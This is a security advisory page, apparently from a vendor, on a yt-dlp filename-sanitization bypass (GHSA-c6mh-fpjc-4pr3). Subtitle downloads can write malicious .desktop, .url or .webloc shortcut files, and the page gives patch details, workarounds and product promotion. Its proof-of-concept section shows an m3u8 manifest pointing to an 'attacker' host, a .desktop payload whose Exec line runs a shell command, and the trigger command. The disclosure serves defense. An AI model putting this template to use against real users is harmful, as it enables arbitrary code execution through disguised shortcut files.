GHSA-c6mh-fpjc-4pr3 is a high-severity (CVSS 8.3) CWE-641 vulnerability in yt-dlp. O3 Security confirms whether GHSA-c6mh-fpjc-4pr3 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c6mh-fpjc-4pr3.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c6mh-fpjc-4pr3 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 370,894 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yt-dlpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.
Details
The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.
Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.
Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.
While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.
Proof of Concept
1. Start a malicious server:
Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"
And host the payload.desktop file with malicious content:
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle
2. Trigger the download:
In this case, the generic extractor triggers the exploit if the --write-subs option is used:
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"
Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.
Patches
yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.
Workarounds
It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.
Users who are not able to upgrade should do ALL of the following:
- Only pass fully trusted input URLs to yt-dlp
- Do not use the
--write-subs,--write-auto-subs,--embed-subs,--write-thumbnail,--write-all-thumbnails, or--embed-thumbnailoptions - Use
--format -to interactively select download formats and validate their file extensions
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | yt-dlp | all versions | 2026.6.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yt-dlp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yt-dlp to 2026.6.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c6mh-fpjc-4pr3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c6mh-fpjc-4pr3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c6mh-fpjc-4pr3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c6mh-fpjc-4pr3 in your dependencies?
O3 detects GHSA-c6mh-fpjc-4pr3 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.